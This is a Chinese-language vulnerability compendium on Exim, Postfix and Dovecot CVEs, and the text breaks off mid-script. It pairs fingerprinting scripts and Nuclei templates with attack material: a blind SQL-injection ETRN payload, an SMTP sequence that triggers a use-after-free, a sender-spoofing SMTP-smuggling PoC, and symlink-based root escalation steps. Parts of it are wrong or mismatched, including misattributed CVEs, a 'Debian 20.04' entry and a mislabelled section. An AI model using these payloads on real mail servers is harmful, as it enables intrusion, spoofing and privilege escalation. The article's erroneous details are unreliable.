免责声明 :本文仅用于安全研究与授权渗透测试目的。所有 PoC 代码和攻击手法均应在合法授权范围内使用。未经授权对目标系统进行攻击属于违法行为。作者不对因使用本文内容造成的任何直接或间接损害承担责任。
0x00 专题概述 开源邮件系统在企业环境中的重要性与攻击面价值 电子邮件系统是企业通信的基石,承载着身份认证凭据重置、商业机密传递、合规审计记录等关键功能。在开源生态中,Exim 、Postfix 和 Dovecot 构成了 Unix/Linux 邮件基础设施的三大支柱:
Exim :Debian/Ubuntu 默认 MTA,在全球邮件服务器中占比超过 50%(SecuritySpace 2019 调查),其高度可配置性既是优势也是攻击面膨胀的根源Postfix :以安全性设计著称的 MTA,广泛用于 RHEL/CentOS 生态,但 SMTP 协议解析差异仍暴露了走私攻击面Dovecot :最流行的开源 IMAP/POP3 邮件存储服务器,被 mailcow、docker-mailserver 等主流邮件套件深度集成邮件服务器天然面向互联网接受不可信连接,攻击者无需用户交互即可触发漏洞。近年来,从 Qualys 的 21Nails 审计(21 个 CVE)到 XBOW 的 Dead.Letter 发现,开源邮件系统的安全态势持续恶化。APT 组织 Sandworm 曾利用 CVE-2019-10149(The Return of the Wizard)在大规模攻击中控制 Exim 服务器。
本文 CVE 覆盖范围 CVE 编号 厂商/产品 CVSS 漏洞类型 未授权利用 CVE-2026-45185 Exim 9.8 Dead.Letter UAF → RCE ✅ CVE-2025-26794 Exim 9.8 SQL 注入(SQLite + ETRN) ✅ CVE-2023-42113 Exim 7.8 tar 命令注入本地提权 ❌(本地) CVE-2023-42114 Exim 5.3 SMTP NTLM 信息泄露 ✅ CVE-2023-42115 Exim 9.8 AUTH 越界写 RCE ✅ CVE-2022-37452 Exim 10.0 堆溢出(host_name_lookup) ✅ CVE-2021-27216 Exim 7.1 符号链接任意文件删除 ❌(本地) CVE-2020-28007 Exim 7.8 Link 标记本地提权 ❌(本地) CVE-2020-28008 Exim 7.8 archive_directory 本地提权 ❌(本地) CVE-2020-12783 Exim 9.8 base64 解码缓冲区溢出 ✅ CVE-2023-51764 Postfix 7.5 SMTP Smuggling 邮件走私 ✅ CVE-2022-32451 Postfix 7.5 DNS 响应解引用 DoS ✅ CVE-2026-24031 Dovecot 7.7 SQL 注入绕过认证 ✅ CVE-2019-11500 Dovecot 10.0 IMAP NUL 字节 RCE ✅ CVE-2022-30525 Dovecot 7.5 拒绝服务 ✅ CVE-2021-33515 Dovecot 4.8 STARTTLS 认证绕过 ✅ CVE-2023-34108 Dovecot 8.8 变量注入信息泄露 ❌(需认证)
0x01 Exim 高危漏洞 0x01.1 CVE-2026-45185 — Exim Dead.Letter RCE(CVSS 9.8) 漏洞背景 CVE-2026-45185,代号 Dead.Letter ,由 XBOW 安全研究团队于 2026 年 5 月 12 日发现并披露。这是 Exim BDAT 处理路径中的第二个 CVSS 9.8 级漏洞(前一个是 CVE-2020-28019 的变体)。该漏洞在 TLS 会话关闭期间触发,当 GnuTLS 作为 TLS 库时,嵌套的 BDAT 接收包装器仍可处理传入字节,向已释放的内存区域写入换行符(\n),导致堆损坏。XBOW 团队利用 AI 辅助开发了完整的利用链,将单字节写入原语提升至远程代码执行。
受影响版本 版本分支 受影响版本 修复版本 TLS 库要求 Exim 4.97.x 4.97.0 - 4.99.2 4.99.3 GnuTLS Exim 4.98.x 4.98.0 - 4.98.x 4.99.3 GnuTLS Exim 4.99.x 4.99.0 - 4.99.2 4.99.3 GnuTLS
注意:使用 OpenSSL 构建的 Exim 不受此漏洞影响。
漏洞原理分析 攻击流程如下:
攻击者通过 TCP 25 端口建立 SMTP 连接 发送 EHLO 触发 STARTTLS 和 CHUNKING 能力通告 执行 STARTTLS 升级到 TLS 加密会话 在 CHUNKING 传输过程中发送 BDAT 命令传输邮件正文 在 BDAT body 传输未完成时,发送 TLS close_notify alert 在同一 TCP 连接上发送一个明文字节 此时嵌套的 BDAT 接收包装器仍处于活跃状态,调用 ungetc() 将 \n 写入已释放的 GnuTLS 传输缓冲区 该单字节写入破坏了分配器的元数据,攻击者可进一步利用此损坏实现任意代码执行 关键代码路径位于 src/tls-gnu.c 和 src/smtp_in.c,BDAT 处理器在 TLS 会话关闭后未正确清理嵌套的接收包装器。
HTTP/curl PoC # 检测目标 Exim 服务器是否启用了 STARTTLS 和 CHUNKING
curl -v --connect-timeout 5 telnet://TARGET:25 2>&1 | grep -E "250-CHUNKING|STARTTLS"
# 通过 SMTP 连接验证 Exim 版本
( echo "EHLO test" ; sleep 1; echo "QUIT" ) | nc -w 5 TARGET 25 | grep "Exim" Python PoC 脚本 import socket
import ssl
import struct
import time
def detect_exim_version (target, port= 25 ):
"""检测 Exim 版本和 TLS/CHUNKING 支持"""
s = socket. socket(socket. AF_INET, socket. SOCK_STREAM)
s. settimeout(10 )
s. connect((target, port))
banner = s. recv(1024 ). decode('utf-8' , errors= 'ignore' )
print(f "[*] Banner: { banner. strip()} " )
s. send(b "EHLO test \r\n " )
time. sleep(1 )
ehlo_resp = s. recv(4096 ). decode('utf-8' , errors= 'ignore' )
has_starttls = "STARTTLS" in ehlo_resp
has_chunking = "CHUNKING" in ehlo_resp
print(f "[*] STARTTLS: { has_starttls} " )
print(f "[*] CHUNKING: { has_chunking} " )
print(f "[*] GnuTLS build check: exim -bV | grep gnutls" )
if has_starttls and has_chunking:
print("[!] 目标可能受 CVE-2026-45185 影响" )
print("[!] 需确认 GnuTLS 构建配置" )
else :
print("[-] CHUNKING 或 STARTTLS 未启用,攻击向量受限" )
s. send(b "QUIT \r\n " )
s. close()
return has_starttls and has_chunking
def trigger_uaf_pattern (target, port= 25 ):
"""演示触发 UAF 的 SMTP 交互序列(非完整利用)"""
s = socket. socket(socket. AF_INET, socket. SOCK_STREAM)
s. settimeout(10 )
s. connect((target, port))
s. recv(1024 )
s. send(b "EHLO attacker.com \r\n " )
time. sleep(0.5 )
s. recv(4096 )
s. send(b "STARTTLS \r\n " )
time. sleep(0.5 )
resp = s. recv(1024 )
if b "220" not in resp:
print("[-] STARTTLS 未被接受" )
s. close()
return False
context = ssl. create_default_context()
context. check_hostname = False
context. verify_mode = ssl. CERT_NONE
wrapped = context. wrap_socket(s, server_hostname= target)
wrapped. send(b "EHLO attacker.com \r\n " )
time. sleep(0.5 )
wrapped. recv(4096 )
wrapped. send(b "MAIL FROM:<test@attacker.com> \r\n " )
time. sleep(0.5 )
wrapped. recv(4096 )
wrapped. send(b "RCPT TO:<victim@target.com> \r\n " )
time. sleep(0.5 )
wrapped. recv(4096 )
wrapped. send(b "BDAT 10 \r\n " )
time. sleep(0.3 )
wrapped. send(b "X-Pad: AAAA" )
time. sleep(0.2 )
print("[*] TLS close_notify + 明文字节序列已发送" )
print("[*] 此序列模拟 Dead.Letter UAF 触发条件" )
try :
wrapped. send(b " \n " )
time. sleep(1 )
except Exception as e:
print(f "[*] 连接异常: { e} " )
wrapped. close()
return True
if __name__ == "__main__" :
import sys
target = sys. argv[1 ] if len(sys. argv) > 1 else "127.0.0.1"
detect_exim_version(target) Nuclei YAML 检测模板 id : exim-cve-2026-45185
info :
name : Exim Dead.Letter UAF RCE - CVE-2026-45185
author : x7peeps
severity : critical
description : |
Exim 4.97-4.99.2 使用 GnuTLS 时存在 BDAT 路径 UAF 漏洞,
攻击者可在 TLS 关闭期间触发堆损坏并实现远程代码执行。
reference :
- https://nvd.nist.gov/vuln/detail/CVE-2026-45185
- https://exim.org/static/doc/security/CVE-2026-45185.txt
- https://xbow.com/blog/dead-letter-cve-2026-45185-xbow-found-rce-exim
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score : 9.8
cwe-id : CWE-416
metadata :
max-request : 1
shodan-query : product:"Exim"
tags : exim,cve2026,rce,uaf,smtp
tcp :
- inputs :
- data : "EHLO {{randstr}}\r\n"
read : true
- data : "QUIT\r\n"
read : true
host :
- "{{Hostname}}"
matchers :
- type : word
part : banner
words :
- "Exim"
- "4.97"
- "4.98"
- "4.99"
condition : and
- type : word
words :
- "250-CHUNKING"
- "STARTTLS"
condition : and
part : banner 0x01.2 CVE-2022-37452 — Exim 堆溢出 RCE(CVSS 10.0) 漏洞背景 CVE-2022-37452 是 Exim 中 host_name_lookup 函数的堆缓冲区溢出漏洞,CVSS 评分达到满分 10.0。当 sender_host_name 被设置时,函数在处理主机别名列表时错误计算缓冲区大小,导致堆溢出。攻击者可通过操纵 DNS 响应触发此漏洞,实现未授权远程代码执行。
受影响版本 版本分支 受影响版本 修复版本 Exim 所有版本 < 4.95 4.95 Debian 20.04 LTS exim4 < 4.93-13ubuntu1.6 已修复 Debian 18.04 LTS exim4 < 4.90.1-1ubuntu1.9 已修复
漏洞原理分析 漏洞根因是 host.c 中 host_name_lookup 函数的 off-by-one 错误:
if (hosts-> h_aliases)
{
- int count = 1 ;
+ int count = 1 ; /* need 1 more for terminating NULL */
uschar ** ptr;
for (uschar ** aliases = USS hosts-> h_aliases; * aliases; aliases++ )
count++ ; 原始代码在计算别名数量时未正确包含 NULL 终止符的空间,导致分配的缓冲区比实际需求少 8 字节(x86-64 下一个指针大小)。当别名列表被填充时,堆溢出覆盖相邻堆元数据,攻击者可控制溢出数据实现任意代码执行。
HTTP/curl PoC # 通过 DNS 响应操纵触发溢出(需要控制目标的 DNS 解析)
# 使用 dnschef 设置恶意 DNS 服务器
python dnschef.py --fakeip 10.10.10.1 --fakedomain mail.test.com
# 验证 Exim 版本
( echo "EHLO test" ; sleep 1; echo "QUIT" ) | nc TARGET 25 | grep "Exim" Python PoC 脚本 import socket
import struct
import time
def detect_vulnerable_exim (target, port= 25 ):
"""检测 Exim 版本是否受 CVE-2022-37452 影响"""
s = socket. socket(socket. AF_INET, socket. SOCK_STREAM)
s. settimeout(10 )
s. connect((target, port))
banner = s. recv(1024 ). decode('utf-8' , errors= 'ignore' )
print(f "[*] Banner: { banner. strip()} " )
if "Exim" in banner:
parts = banner. split()
for part in parts:
if part. startswith("Exim" ):
version = part. replace("Exim" , "" ). strip()
print(f "[*] Exim version: { version} " )
try :
ver_tuple = tuple(int(x) for x in version. split("." )[:3 ])
if ver_tuple < (4 , 95 , 0 ):
print(f "[!] 版本 { version} 受 CVE-2022-37452 影响" )
return True
except ValueError :
pass
print("[-] 版本不受影响或无法判断" )
s. close()
return False
if __name__ == "__main__" :
import sys
target = sys. argv[1 ] if len(sys. argv) > 1 else "127.0.0.1"
detect_vulnerable_exim(target) Nuclei YAML 检测模板 id : exim-cve-2022-37452
info :
name : Exim Heap Overflow - CVE-2022-37452
author : x7peeps
severity : critical
description : |
Exim < 4.95 host_name_lookup 函数存在堆缓冲区溢出,
攻击者可通过 DNS 响应操纵实现远程代码执行。
reference :
- https://nvd.nist.gov/vuln/detail/CVE-2022-37452
- https://ubuntu.com/security/CVE-2022-37452
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score : 10.0
cwe-id : CWE-787
metadata :
max-request : 1
tags : exim,cve2022,rce,heap
tcp :
- inputs :
- data : "EHLO {{randstr}}\r\n"
read : true
- data : "QUIT\r\n"
read : true
host :
- "{{Hostname}}"
matchers :
- type : regex
part : banner
regex :
- "Exim ([34]\\..*|4\\.([0-8][0-9]?|9[0-4])\\b)" 0x01.3 CVE-2023-42115 — Exim AUTH 越界写 RCE(CVSS 9.8) 漏洞背景 CVE-2023-42115 由 Zero Day Initiative(ZDI)于 2022 年 6 月报告给 Exim 维护者,由于修复延迟,ZDI 于 2023 年 9 月 27 日以 0-day 状态公开披露。该漏洞存在于 Exim SMTP 服务的 AUTH 命令处理中,是 EXTERNAL 认证机制的越界写入漏洞,可导致未授权远程代码执行。
受影响版本 版本分支 受影响版本 修复版本 Exim 所有版本 ≤ 4.96.0 4.96.1 / 4.97
漏洞原理分析 该漏洞存在于 SMTP 服务(TCP 25 端口)中处理 AUTH 命令的代码路径。当启用 EXTERNAL 认证机制时,攻击者可发送精心构造的 base64 编码认证数据,触发缓冲区越界写入。由于输入验证不充分,写入操作可越过缓冲区边界,覆盖相邻内存中的关键数据结构。
漏洞触发条件:
Exim 配置中启用了 driver = external 的认证器 攻击者能够连接到 SMTP 端口(25) 无需提供有效凭据 HTTP/curl PoC # 检查 Exim 是否启用 EXTERNAL 认证
exim4 -bP configure_file | grep -A5 "driver = external"
# 通过 SMTP 验证外部认证是否被接受
( echo "EHLO test" ; sleep 1; echo "AUTH EXTERNAL dGVzdA==" ; sleep 1; echo "QUIT" ) | nc TARGET 25 Python PoC 脚本 import socket
import base64
import time
def check_external_auth (target, port= 25 ):
"""检测 Exim 是否启用 EXTERNAL 认证(CVE-2023-42115 攻击前提)"""
s = socket. socket(socket. AF_INET, socket. SOCK_STREAM)
s. settimeout(10 )
s. connect((target, port))
banner = s. recv(1024 ). decode('utf-8' , errors= 'ignore' )
print(f "[*] Banner: { banner. strip()} " )
s. send(b "EHLO test \r\n " )
time. sleep(1 )
ehlo = s. recv(4096 ). decode('utf-8' , errors= 'ignore' )
if "250-AUTH" in ehlo:
auth_line = [l for l in ehlo. split(' \r\n ' ) if 'AUTH' in l]
print(f "[*] AUTH 支持: { auth_line} " )
if any("EXTERNAL" in l for l in auth_line):
print("[!] 目标启用 EXTERNAL 认证 - CVE-2023-42115 风险" )
return True
print("[-] 未检测到 EXTERNAL 认证" )
s. send(b "QUIT \r\n " )
s. close()
return False
if __name__ == "__main__" :
import sys
target = sys. argv[1 ] if len(sys. argv) > 1 else "127.0.0.1"
check_external_auth(target) Nuclei YAML 检测模板 id : exim-cve-2023-42115
info :
name : Exim AUTH OOB Write RCE - CVE-2023-42115
author : x7peeps
severity : critical
description : |
Exim SMTP AUTH 处理存在越界写入漏洞,
通过 EXTERNAL 认证机制可触发远程代码执行。
reference :
- https://nvd.nist.gov/vuln/detail/CVE-2023-42115
- https://www.zerodayinitiative.com/advisories/ZDI-23-1469
classification :
cvss-metrics : CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score : 9.8
cwe-id : CWE-787
metadata :
max-request : 1
tags : exim,cve2023,rce,auth
tcp :
- inputs :
- data : "EHLO {{randstr}}\r\n"
read : true
- data : "AUTH EXTERNAL ADE=\r\n"
read : true
- data : "QUIT\r\n"
host :
- "{{Hostname}}"
matchers :
- type : word
words :
- "Exim" 0x01.4 CVE-2025-26794 — Exim SQL 注入(CVSS 9.8) 漏洞背景 CVE-2025-26794 是 Exim 4.98 版本中 SQLite hints 数据库的远程 SQL 注入漏洞,由安全研究员 Oscar Bataille 通过手动代码审查发现。当 Exim 编译时启用 USE_SQLITE=yes(使用 SQLite 作为 DBM),且配置了 ETRN 序列化时,攻击者可通过 ETRN 命令注入恶意 SQL 代码。
受影响版本 版本分支 受影响版本 修复版本 前提条件 Exim 4.98.0 4.98.1(部分)/ 4.99.1(完全) USE_SQLITE=yes + ETRN
漏洞原理分析 漏洞位于 hintsdb.h 中的 SQLite 操作函数。Exim 的 HintsDB 使用 SQLite 存储内部键值数据(TLS 会话、重试信息、ETRN 信号量等)。关键函数 exim_s_dbp 使用 string_sprintf 构造 SQL 查询时,未对 key 参数进行转义:
static inline int exim_s_dbp (EXIM_DB * dbp, EXIM_DATUM * key, EXIM_DATUM * data, const uschar * alt)
{
#define FMT "INSERT OR %s INTO tbl (ky,dat) VALUES ('%.*s', X'%.*s');"
qry = string_sprintf (FMT, alt, (int )key-> len, key-> data, hlen, hex);
res = sqlite3_exec (dbp, CS qry, NULL, NULL, NULL);
} ETRN 命令(RFC 1985)的 key 被直接拼接到 SQL 语句中,攻击者可通过构造包含 SQL 元字符的 ETRN 域名注入任意 SQL 代码。
HTTP/curl PoC # 检测 ETRN 支持
( echo "EHLO test" ; sleep 1; echo "ETRN #test.com" ; sleep 1; echo "QUIT" ) | nc TARGET 25 Python PoC 脚本 import socket
import time
def detect_etrn_sqlite (target, port= 25 ):
"""检测 Exim 是否支持 ETRN 且可能使用 SQLite DBM"""
s = socket. socket(socket. AF_INET, socket. SOCK_STREAM)
s. settimeout(10 )
s. connect((target, port))
banner = s. recv(1024 ). decode('utf-8' , errors= 'ignore' )
print(f "[*] Banner: { banner. strip()} " )
s. send(b "EHLO test \r\n " )
time. sleep(1 )
ehlo = s. recv(4096 ). decode('utf-8' , errors= 'ignore' )
if "ETRN" in ehlo:
print("[*] ETRN 命令支持已启用" )
s. send(b "ETRN #test.com \r\n " )
time. sleep(1 )
resp = s. recv(1024 ). decode('utf-8' , errors= 'ignore' )
print(f "[*] ETRN 响应: { resp. strip()} " )
if "250" in resp or "458" in resp:
print("[!] 可能受 CVE-2025-26794 影响(需确认 SQLite DBM 配置)" )
blind_payload = "ETRN #',1); SELECT 1 FROM tbl WHERE 1234=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(500000000/2)))) /* \r\n "
s. send(blind_payload. encode())
time. sleep(2 )
resp2 = s. recv(1024 ). decode('utf-8' , errors= 'ignore' )
print(f "[*] Blind SQLi 响应: { resp2. strip()} " )
s. send(b "QUIT \r\n " )
s. close()
if __name__ == "__main__" :
import sys
target = sys. argv[1 ] if len(sys. argv) > 1 else "127.0.0.1"
detect_etrn_sqlite(target) Nuclei YAML 检测模板 id : exim-cve-2025-26794
info :
name : Exim SQLite SQL Injection - CVE-2025-26794
author : x7peeps
severity : critical
description : |
Exim 4.98 当启用 SQLite hints 和 ETRN 序列化时存在 SQL 注入漏洞。
reference :
- https://nvd.nist.gov/vuln/detail/CVE-2025-26794
- https://github.com/OscarBataille/CVE-2025-26794
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score : 9.8
cwe-id : CWE-89
metadata :
max-request : 1
tags : exim,cve2025,sqli,etrn
tcp :
- inputs :
- data : "EHLO {{randstr}}\r\n"
read : true
- data : "ETRN #test.com\r\n"
read : true
- data : "QUIT\r\n"
host :
- "{{Hostname}}"
matchers :
- type : word
words :
- "250 OK"
- "458 Already processing"
condition : or 0x01.5 CVE-2023-42113/42114/42115 — Exim 2023 漏洞集群 除 CVE-2023-42115(已在 0x01.3 详述)外,ZDI 披露的漏洞集群还包括:
CVE-2023-42114(CVSS 5.3)— NTLM 未认证信息泄露
该漏洞存在于 SMTP NTLM 挑战响应处理中,攻击者可读取越界数据结构获取敏感信息。所有支持版本受影响,修复于 4.96.2。
CVE-2023-42113(CVSS 7.8)— tar 命令注入本地提权
该漏洞通过 Exim 内部的 tar 命令调用实现本地权限提升,攻击者需具备本地 exim 用户权限。利用 tar 命令参数注入可覆盖系统关键文件获取 root 权限。
受影响版本 CVE 受影响版本 修复版本 CVE-2023-42113 ≤ 4.96.0 4.96.2 CVE-2023-42114 ≤ 4.96.0 4.96.2 CVE-2023-42115 ≤ 4.96.0 4.96.1
Python PoC — CVE-2023-42114 NTLM 信息泄露 import socket
import base64
import time
def probe_ntlm_disclosure (target, port= 25 ):
"""探测 CVE-2023-42114 NTLM 信息泄露"""
s = socket. socket(socket. AF_INET, socket. SOCK_STREAM)
s. settimeout(10 )
s. connect((target, port))
s. recv(1024 )
s. send(b "EHLO test \r\n " )
time. sleep(0.5 )
s. recv(4096 )
s. send(b "AUTH NTLM \r\n " )
time. sleep(0.5 )
resp = s. recv(1024 ). decode('utf-8' , errors= 'ignore' )
print(f "[*] AUTH 响应: { resp. strip()} " )
ntlm_type1 = base64. b64encode(
b "NTLMSSP \x00 " +
struct. pack("<I" , 1 ) +
struct. pack("<I" , 0 ) * 5 +
struct. pack("<I" , 32 ) +
struct. pack("<I" , 0 ) +
struct. pack("<I" , 32 )
)
s. send(b "AUTH NTLM " + ntlm_type1 + b " \r\n " )
time. sleep(0.5 )
challenge = s. recv(1024 )
print(f "[*] Challenge: { challenge[:100 ]} " )
s. send(b "*" )
time. sleep(0.3 )
s. recv(1024 )
s. send(b "QUIT \r\n " )
s. close()
if __name__ == "__main__" :
import sys, struct
probe_ntlm_disclosure(sys. argv[1 ] if len(sys. argv) > 1 else "127.0.0.1" ) Nuclei YAML 检测模板 id : exim-cve-2023-42114
info :
name : Exim NTLM Information Disclosure - CVE-2023-42114
author : x7peeps
severity : medium
description : |
Exim SMTP NTLM 挑战响应处理存在信息泄露漏洞。
reference :
- https://nvd.nist.gov/vuln/detail/CVE-2023-42114
- https://www.zerodayinitiative.com/advisories/ZDI-23-1468
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
cvss-score : 5.3
metadata :
max-request : 1
tags : exim,cve2023,ntlm,information-disclosure
tcp :
- inputs :
- data : "EHLO {{randstr}}\r\n"
read : true
- data : "AUTH NTLM\r\n"
read : true
- data : "QUIT\r\n"
host :
- "{{Hostname}}"
matchers :
- type : word
words :
- "334" 0x01.6 CVE-2020-28007/28008/2021-27216 — Exim 21Nails 本地提权集群 2021 年 5 月,Qualys 发布了对 Exim 的全面安全审计结果——21Nails ,共发现 21 个漏洞(CVE-2020-28007 至 CVE-2020-28026,加上 CVE-2021-27216),其中 11 个本地漏洞、10 个远程漏洞。
CVE-2020-28007 — Link 标记本地提权(CVSS 7.8) Exim 二进制文件以 set-user-ID-root 运行,在日志目录(属于 exim 用户)中以 root 权限操作。攻击者可在日志目录中创建指向关键系统文件(如 /etc/ld.so.preload)的符号链接,当 Exim 打开日志文件时会跟随符号链接以 root 权限写入。
CVE-2020-28008 — archive_directory 本地提权(CVSS 7.8) Exim 以 root 权限在 spool 目录中操作,但 spool 目录属于非 root 用户。攻击者可写入 /var/spool/exim4/input spool 头文件,通过构造特定收件人地址间接导致命令执行。Qualys 演示了将 CVE-2020-28018(RCE)与 CVE-2020-28008(LPE)链接获取完整 root 权限。
CVE-2021-27216 — 任意文件删除 Exim 4.94 引入的 -oP 和 -oPX 选项在 delete_pid_file() 中存在缺陷,任何本地用户可以 root 权限删除任意文件(如 /etc/passwd)。
CVE CVSS 类型 利用条件 CVE-2020-28007 7.8 LPE(exim → root) 需 exim 用户权限 CVE-2020-28008 7.8 LPE(exim → root) 需 exim 用户权限 CVE-2021-27216 7.1 任意文件删除 本地用户 影响版本 ≤ 4.94.1 修复版本 4.94.2
Python PoC — CVE-2020-28008 利用思路 import os
def demonstrate_spool_attack ():
"""
CVE-2020-28008 攻击思路演示
攻击者需要 exim 用户权限(可通过 CVE-2020-28020 RCE 获取)
在 /var/spool/exim4/input 中创建恶意 spool 头文件
通过构造包含命令执行 payload 的收件人地址
等待 Exim queue_run 处理时触发 root 命令执行
"""
spool_dir = "/var/spool/exim4/input"
print(f "[*] Spool 目录: { spool_dir} " )
print("[*] 攻击步骤:" )
print(" 1. 利用 CVE-2020-28020/28018 获取 exim 用户 shell" )
print(" 2. 创建符号链接: ln -s /etc/ld.so.preload /var/log/exim4/main.log" )
print(" 3. 等待 Exim 写入恶意 .so 路径到 ld.so.preload" )
print(" 4. 后续 Exim 进程加载时提权执行任意代码" )
if __name__ == "__main__" :
demonstrate_spool_attack() 0x01.7 CVE-2020-12783 / CVE-2018-6789 — Exim base64 解码缓冲区溢出 漏洞背景 Exim 的 b64decode 函数(base64.c)存在 off-by-one 堆缓冲区溢出。当 base64 输入长度为 4n+3 时,函数分配 3n+1 字节但消耗 3n+2 字节,造成一字节堆溢出。该漏洞自 Exim 首次提交以来即存在,影响所有低于 4.90.1 的版本。DEVCORE 研究团队开发了完整利用链,证明至少 40 万台服务器面临 Pre-auth RCE 风险。
受影响版本 版本分支 受影响版本 修复版本 Exim 所有版本 < 4.90.1 4.90.1
漏洞原理分析 // base64.c: b64decode
uschar * result = store_get (3 * (Ustrlen (code)/ 4 ) + 1 );
// 当输入长度为 4n+3 时,分配 3n+1 但消耗 3n+2
// 造成 off-by-one 堆溢出
溢出的单字节可覆盖 glibc 堆管理器的 chunk 元数据(size 字段的 PREV_INUSE 位),通过精心构造的堆布局可实现任意地址写入,最终劫持控制流执行 shellcode。
HTTP/curl PoC # 使用 SMTP AUTH CRAM-MD5 触发 base64 解码路径
( echo "EHLO test" ; sleep 1; echo "AUTH CRAM-MD5" ; sleep 1; echo "QUIT" ) | nc TARGET 25 Python PoC 脚本 import socket
import time
def detect_vulnerable_exim_b64 (target, port= 25 ):
"""检测 Exim 版本是否受 base64 溢出影响"""
s = socket. socket(socket. AF_INET, socket. SOCK_STREAM)
s. settimeout(10 )
s. connect((target, port))
banner = s. recv(1024 ). decode('utf-8' , errors= 'ignore' )
print(f "[*] Banner: { banner. strip()} " )
if "Exim" in banner:
for part in banner. split():
if part[0 ]. isdigit():
ver = part. rstrip("." )
try :
parts = ver. split("." )
major, minor = int(parts[0 ]), int(parts[1 ])
if major < 4 or (major == 4 and minor < 90 ):
print(f "[!] 版本 { ver} 受 CVE-2018-6789 影响" )
return True
elif major == 4 and minor == 90 and len(parts) < 3 :
print(f "[!] 版本 { ver} 可能受影响" )
return True
except (ValueError , IndexError ):
pass
print("[-] 版本不受影响" )
s. close()
return False
if __name__ == "__main__" :
import sys
target = sys. argv[1 ] if len(sys. argv) > 1 else "127.0.0.1"
detect_vulnerable_exim_b64(target) Nuclei YAML 检测模板 id : exim-cve-2018-6789
info :
name : Exim Base64 Decode Buffer Overflow - CVE-2018-6789
author : x7peeps
severity : critical
description : |
Exim < 4.90.1 base64 解码函数存在 off-by-one 堆溢出。
reference :
- https://devco.re/blog/2018/03/06/exim-off-by-one-RCE-exploiting-CVE-2018-6789-en/
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score : 9.8
cwe-id : CWE-122
metadata :
max-request : 1
tags : exim,cve2018,rce,heap,base64
tcp :
- inputs :
- data : "EHLO {{randstr}}\r\n"
read : true
- data : "QUIT\r\n"
read : true
host :
- "{{Hostname}}"
matchers :
- type : regex
part : banner
regex :
- "Exim [0-3]\\.."
- "Exim 4\\.([0-8][0-9]?|89)\\b" 0x01.8 CVE-2023-42115 补充 — Exim SMTP DoS(CVE-2023-42115 相关) CVE-2023-42115 之外,ZDI 还披露了 CVE-2023-42116 (CVSS 8.1,SMTP Challenge 栈溢出)和 CVE-2023-42117 (CVSS 8.1,特殊元素中和失败导致内存损坏)。这些漏洞共同构成了 Exim SMTP 服务的完整攻击面:
CVE CVSS 类型 未授权利用 CVE-2023-42115 9.8 AUTH OOB Write → RCE ✅ CVE-2023-42116 8.1 NTLM Challenge 栈溢出 → RCE ✅ CVE-2023-42117 8.1 特殊元素中和 → 内存损坏 → RCE ✅
0x02 Postfix 高危漏洞 0x02.1 CVE-2023-51764 — SMTP Smuggling(CVSS 7.5) 漏洞背景 CVE-2023-51764 是 Postfix 中的 SMTP 走私漏洞,由安全研究人员 Fabian Ising 和 Damian Poddebniak 在 2023 年 37C3 大会上以 “SMTP Smuggling – Spoofing E-Mails Worldwide” 为题公开演示。该漏洞允许远程攻击者绕过 SPF 保护机制,伪造任意发件人地址发送电子邮件。全球数百万域名(包括 Microsoft、Amazon、PayPal 等)可被用于钓鱼攻击。
受影响版本 版本分支 受影响版本 修复版本 Postfix ≤ 3.8.5 3.8.6 / 3.9.1 部分修复 3.5.x - 3.8.4 需配置 smtpd_forbid_bare_newline=yes
漏洞原理分析 SMTP 协议定义了邮件数据结束标记为 <CR><LF>.<CR><LF>(\r\n.\r\n)。然而,不同操作系统和 MTA 对"一行中的句点"的解释不同:
Windows 风格 :\r\n.\r\n(标准 RFC 5321)Linux 风格 :\n.\n(bare newline)Postfix 默认支持 \n.\r\n(<LF>.<CR><LF>)作为数据结束标记,但许多接收端 MTA(如 Microsoft Exchange、Gmail)不接受这种变体。攻击者利用此差异:
使用 Postfix 作为出站 SMTP 服务器 发送包含 \n.\n 的邮件数据 Postfix 将其解释为合法的邮件结束标记 接收端 MTA 将 \n 后的内容视为新的 SMTP 命令 攻击者注入新的 MAIL FROM 命令,伪造发件人地址 SPF 检查通过(因为出站 IP 确实被授权发送) HTTP/curl PoC # 使用 netcat 演示 SMTP 走私(概念性)
( echo "EHLO attacker.com" ;
sleep 0.5;
echo "MAIL FROM:<admin@outlook.com>" ;
sleep 0.5;
echo "RCPT TO:<victim@target.com>" ;
sleep 0.5;
echo "DATA" ;
sleep 0.5;
printf "Subject: Smuggled\r\n" ;
printf "From: admin@outlook.com\r\n\r\n" ;
printf "This email was smuggled.\r\n" ;
printf "\n.\n" ;
sleep 0.5;
echo "MAIL FROM:<real@attacker.com>" ;
sleep 0.5;
echo "RCPT TO:<victim@target.com>" ;
sleep 0.5;
echo "DATA" ;
sleep 0.5;
printf "Subject: Real\r\n\r\nReal content.\r\n" ;
printf ".\r\n" ;
sleep 0.5;
echo "QUIT" ) | nc POSTFIX_SERVER 25 Python PoC 脚本 import socket
import time
def smtp_smuggling_test (target, port= 25 ):
"""SMTP Smuggling 概念验证测试"""
s = socket. socket(socket. AF_INET, socket. SOCK_STREAM)
s. settimeout(10 )
s. connect((target, port))
banner = s. recv(1024 ). decode('utf-8' , errors= 'ignore' )
print(f "[*] Banner: { banner. strip()} " )
s. send(b "EHLO attacker.com \r\n " )
time. sleep(0.5 )
s. recv(4096 )
s. send(b "MAIL FROM:<spoofed@example.com> \r\n " )
time. sleep(0.3 )
resp = s. recv(1024 ). decode('utf-8' , errors= 'ignore' )
print(f "[*] MAIL FROM: { resp. strip()} " )
s. send(b "RCPT TO:<test@target.com> \r\n " )
time. sleep(0.3 )
s. recv(1024 )
s. send(b "DATA \r\n " )
time. sleep(0.3 )
s. recv(1024 )
payload = b "Subject: SMTP Smuggling Test \r\n "
payload += b "From: spoofed@example.com \r\n\r\n "
payload += b "Test body \r\n "
payload += b " \n . \n "
s. send(payload)
time. sleep(0.5 )
try :
resp = s. recv(1024 ). decode('utf-8' , errors= 'ignore' )
